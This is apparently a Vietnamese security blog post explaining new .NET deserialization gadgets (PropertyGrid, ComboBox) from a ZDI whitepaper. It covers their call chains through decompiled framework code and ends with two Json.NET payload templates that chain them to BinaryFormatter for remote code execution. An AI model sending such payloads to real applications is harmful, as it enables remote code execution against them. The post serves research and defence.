Insecure Serialization and new Gadgets in .NET framework (P2)
Ở phần 1 của bài viết này: https://viblo.asia/p/insecure-serialization-and-new-gadgets-in-net-framework-p1-3RlL53kB4bB mình đã giới thiệu với các bạn về Insecure Serialization cũng như một số Serialization gadget. Tiếp nối bài viết trước, ở bài viết này mình sẽ tiếp tục giới thiệu với các bạn các Deserialization gadget mới trong .NET cũng như sự kết hợp giữa Deserialization gadget và Serialization gadget. Các bạn có thời gian nghiên cứu có thể đọc paper gốc tại link sau đây : https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
New Deserialization Gadgets in .NET Framework
Bảng trên liệt kê các gadget mới được tác giả tìm thấy trong .NET framework. Do giới hạn bài viết nên mình sẽ chỉ giới thiệu đến các bạn 2 gadget đó là PropertyGrid
và ComboBox
. Cả 2 gadget này có thể dẫn đến việc gọi đến getter tùy ý.
Arbitrary Getter Call Gadget Idea
Việc khai thác insecure serialization dựa trên việc gọi đến các getter, trong khi quá trình deserializaiton lại gọi đến các setter. Khái niệm này mang đến một ý tưởng khác. Điều gì sẽ xảy ra nếu chúng ta có thể tìm thấy các deserialization gadget cho phép gọi các lệnh gọi getter tùy ý và xâu chuỗi chúng với các serialization gadget? Trên thực tế, một deserialization gadget duy nhất dẫn đến lệnh gọi getter tùy ý đã được trình bày trong paper "“Friday the 13th JSON Attacks" của BHUSA 2017: System.Windows.Forms.BindingSource
. Gadget này dựa trên hai setter: set_DataMember
và set_DataSource
. Tuy nhiên, Gadget này dường như không còn được áp dụng nữa, ít nhất là đối với phần lớn các serializers (như Json.NET) và các phiên bản mới hơn của .NET Framework. Điều này là do lớp BindingSource
extend nhiều interfaces, điều này khiến các serializer coi nó như một list. Chính vì lẽ đó, serializer sẽ không gọi setter của lớp này mà sẽ sử dụng các method như Add
để deserializer object.
PropertyGrid gadget
Gadget này được kích hoạt thông qua set_SelectedObjects
, một setter phức tạp và chứa nhiều code. Điều quan trọng là chúng ta có thể sử dụng setter này để tiếp cận method PropertyGrid.Refresh
:
public object[] SelectedObjects
{
set
{
try
{
this.FreezePainting = true;
this.SetFlag((ushort) 128, false);
if (this.GetFlag((ushort) 16))
this.SetFlag((ushort) 256, false);
...
else
this.Refresh(false);
this.SetFlag((ushort) 32, false);
}
else
this.Refresh(true);
if (this.currentObjects.Length == 0)
return;
this.SaveTabSelection();
}
finally
{
this.FreezePainting = false;
}
}
Phương thức Refresh
kích hoạt một chuỗi nhiều lệnh gọi, dẫn đến phương thức System.Windows.Forms.PropertyGridInternal.GridEntry.GetPropEntries
. Phương thức này sẽ lặp qua tất cả các thuộc tính của đối tượng được cung cấp trong mảng đối tượng và gọi các getters tương ứng của chúng.
protected virtual GridEntry[] GetPropEntries(GridEntry peParent, object obj, System.Type objType)
{
if (obj == null)
return (GridEntry[]) null;
GridEntry[] propEntries = (GridEntry[]) null;
Attribute[] attributes = new Attribute[this.BrowsableAttributes.Count];
this.BrowsableAttributes.CopyTo((Array) attributes, 0);
PropertyTab currentTab = this.CurrentTab;
try
{
bool flag = this.ForceReadOnly;
if (!flag)
{
ReadOnlyAttribute attribute = (ReadOnlyAttribute) TypeDescriptor.GetAttributes(obj)[typeof (ReadOnlyAttribute)];
flag = attribute != null && !attribute.IsDefaultAttribute();
}
if (!this.TypeConverter.GetPropertiesSupported((ITypeDescriptorContext) this))
{
if (!this.AlwaysAllowExpand)
goto label_39;
}
................
Tóm lại chuỗi lệnh gọi để đạt đến method này như sau:
System.Windows.Forms.PropertyGrid::set_SelectedObjects(System.Object[])
-> System.Void System.Windows.Forms.PropertyGrid::Refresh(System.Boolean
->System.Void System.Windows.Forms.PropertyGrid::RefreshProperties(System.Boolean)
->System.Void System.Windows.Forms.PropertyGrid::UpdateSelection()
->System.Void System.Windows.Forms.PropertyGridInternal.GridEntry::Refresh()
->System.Windows.Forms.PropertyGridInternal.GridEntry::CreateChildren(System.Boolean)
->System.Windows.Forms.PropertyGridInternal.GridEntry::GetPropEntries(System.Window s.Forms.PropertyGridInternal.GridEntry,System.Object,System.Type)
->System.Object System.ComponentModel.PropertyDescriptor::GetValue(System.Object)
Về cơ bản chúng ta chỉ cần cung cấp 1 mảng các object cho setter set_SelectedObjects
, sau đó nó sẽ gọi đến tất cả các getter có thể truy cập trong từng object trong mảng.
ComboBox gadget
Gadget này được kích hoạt thông qua việc gọi tới setter set_Text
. Tuy nhiên chúng ta cần chuẩn bị 1 vài thứ trong object này trước khi thực hiện trigger. Đầu tiên ta phải biết, ComboBox kế thừa từ lớp System.Windows.Forms.ListControl
Để khai thác gadget này, đối tượng có getter mà chúng ta muốn gọi phải được thêm vào Items collection. Sau đó, chúng ta cần đặt thuộc tính DisplayMember
(được kế thừa từ ListControl) thành tên của getter mà chúng ta muốn gọi trên đối tượng được cung cấp.
Cuối cùng chúng ta phải gọi được setter set_Text
lên với giá trị tùy ý.
Chú ý đoạn code if (value == null || selectedItem != null && string.Compare(value, this.GetItemText(selectedItem), false, CultureInfo.CurrentCulture) == 0)
. Method ListControl.GetItemText
được gọi lên nhận đầu vào là selectedItem
chính là Items collection chứa object chúng ta cần gọi getter. Nhảy vào method này.
public string GetItemText(object item)
{
if (!this.formattingEnabled)
{
if (item == null)
return string.Empty;
item = this.FilterItemOnProperty(item, this.displayMember.BindingField);
return item == null ? "" : Convert.ToString(item, (IFormatProvider) CultureInfo.CurrentCulture);
}
object obj = this.FilterItemOnProperty(item, this.displayMember.BindingField); //[1]
ListControlConvertEventArgs e = new ListControlConvertEventArgs(obj, typeof (string), item);
this.OnFormat(e);
if (e.Value != item && e.Value is string)
return (string) e.Value;
if (ListControl.stringTypeConverter == null)
ListControl.stringTypeConverter = TypeDescriptor.GetConverter(typeof (string));
try
{
return (string) Formatter.FormatObject(obj, typeof (string), this.DisplayMemberConverter, ListControl.stringTypeConverter, this.formatString, this.formatInfo, (object) null, (object) DBNull.Value);
}
catch (Exception ex)
{
if (!ClientUtils.IsSecurityOrCriticalException(ex))
return obj != null ? Convert.ToString(item, (IFormatProvider) CultureInfo.CurrentCulture) : "";
throw;
}
}
Tại [1], method FilterItemOnProperty
được gọi nhận 2 giá trị đầu vào là item và displayMember, 2 giá trị này đều do attacker kiểm soát.
Tiếp tục đi vào method này
protected object FilterItemOnProperty(object item, string field)
{
if (item != null)
{
if (field.Length > 0)
{
try
{
PropertyDescriptor propertyDescriptor = this.dataManager == null ? TypeDescriptor.GetProperties(item).Find(field, true) : this.dataManager.GetItemProperties().Find(field, true); [1]
if (propertyDescriptor != null)
item = propertyDescriptor.GetValue(item);[2]
}
catch
{
}
}
}
return item;
}
Tại [1], nếu dataManager == null
thì propertyDescriptor
sẽ được truy xuất dựa trên object và DisplayMember
attacker kiểm soát.
Tại [2], sau khi có propertyDescriptor
, nó sẽ thực hiện gọi đến getter của object chúng ta cung cấp.
Tóm lại, Gadget này chỉ có thể gọi đến 1 getter trên 1 object được chỉ định
Combining Getter Gadgets with Insecure Serialization Gadgets
Nếu ở phần trên chỉ thuần túy là lý thuyết và có thể các bạn sẽ nghĩ rằng gadget này chưa có mấy impact, thì ở phần này mình sẽ trình bày rõ hơn bằng cách kết hợp giữa các Getter gadget và insecure Serialization gadget. Sự kết hợp này có thể dẫn đến RCE.
PropertyGrid + SecurityException Gadget
Nhắc lại cho các bạn nhớ, SecurityException Gadget có thể dẫn đến RCE nếu ta có thể gọi đến getter System.Configuration.SettingsPropertyValue.get_PropertyValue
. Thực hay khi mà PropertyGrid gadget có thể giúp chúng ta gọi đến bất kì getter nào.
Flow của quá trình tấn công dựa trên 2 gadget này có thể hình dung thông qua hình sau:
Hình này trình bày những phần quan trọng nhất của quá trình deserialize. Đầu tiên, Json.NET sẽ cố gắng deserialize SecurityException. Vì serializer này hỗ trợ các construcotr đặc biệt có thể Serialize nên nó sẽ có thể đặt thuộc tính m_serializedMethodInfo
bằng mảng byte do kẻ tấn công kiểm soát (ngược lại với serialize dựa trên setter, trong đó kẻ tấn công không thể kiểm soát hoàn toàn). Trong bước tiếp theo, SecurityException đã được deserialize sẽ được chuyển vào một mảng đối tượng tới PropertyGrid.set_SelectedObjects
. Cuối cùng, luồng mã sẽ dẫn đến việc thực thi SecurityException.get_Method
, dẫn đến việc gọi phương thức BinaryFormatter.Deserialize
với Stream do kẻ tấn công kiểm soát => có thể dẫn đến RCE.
Payload sẽ có dạng
{
"$type":"System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version =
4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"SelectedObjects":
[
{
"$type":"System.Security.SecurityException",
"ClassName":"System.Security.SecurityException",
"Message":"Security error.",
"Data":null,
"InnerException":null,
"HelpURL":null,
"StackTraceString":null,
"RemoteStackTraceString":null,
"RemoteStackIndex":0,
"ExceptionMethod":null,
"HResult":-2146233078,
"Source":null,
"WatsonBuckets":null,
"Action":0,
"FirstPermissionThatFailed":null,
"Demanded":null,
"GrantedSet":null,
"RefusedSet":null,
"Denied":null,
"PermitOnly":null,
"Assembly":null,
"Method":"base64-encoded-binaryformatter-gadget",
"Method_String":null,
"Zone":0,
"Url":null
}
]
}
ComboBox + SettingsPropertyValue Gadget
Các gadget dựa trên SettingsPropertyValue
có thể áp dụng cho ít nhất các serializer như JSON .NET, XamlReader và MessagePack, vì serializer cần gọi một constructor nhận 1 tham số trong quá trình deserialize. Lớp SettingPropertyValue
có thể dẫn đến việc thực thi mã từ xa thông qua lệnh gọi getter.
Có thể nhận thấy gadget này bao gồm 4 phần chính:
- Gadget ComboBox.
- Gadget SettingPropertyValue, được đặt trong ComboBox.Items.
- Gadget BinaryFormatter được mã hóa Base64 trong SettingPropertyValue.SerializedValue.
- ComboBox.DisplayMember được đặt thành chuỗi PropertyValue
Hình trên trình bày những phần quan trọng nhất của quá trình deserialize. Đầu tiên, JSON.NET sẽ cố gắng deserialize đối tượng SettingPropertyValue. Trong quá trình deserialize, mảng byte SerializedValue sẽ được đặt thành gadget BinaryFormatter theo lựa chọn của kẻ tấn công. Khi gadget SettingsPropertyValue được deserialize đúng cách, gadget này sẽ được thêm dưới dạng một item vào đối tượng ComboBox. Sau đó, DisplayMember sẽ được đặt thành PropertyValue. Cuối cùng, serializer sẽ gọi setter ComboBox.set_Text. Setter này cuối cùng sẽ dẫn đến lệnh gọi SettingsPropertyValue.get_PropertyValue. Vì getter PropertyValue dẫn đến việc gọi BinaryFormatter.Deserialize với đầu vào do kẻ tấn công kiểm soát, gadget này sẽ dẫn đến Thực thi mã từ xa.
Payload sẽ có dạng
{
"$type":"System.Windows.Forms.ComboBox, System.Windows.Forms, Version =
4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"Items":
[
{
"$type":"System.Configuration.SettingsPropertyValue, System",
"Name":"test",
"IsDirty":false,
"SerializedValue":
{
"$type":"System.Byte[], mscorlib",
"$value":"base64-encoded-binaryformatter-gadget"
},
"Deserialized":false
}
],
"DisplayMember":"PropertyValue",
"Text":"whatever"
}
All rights reserved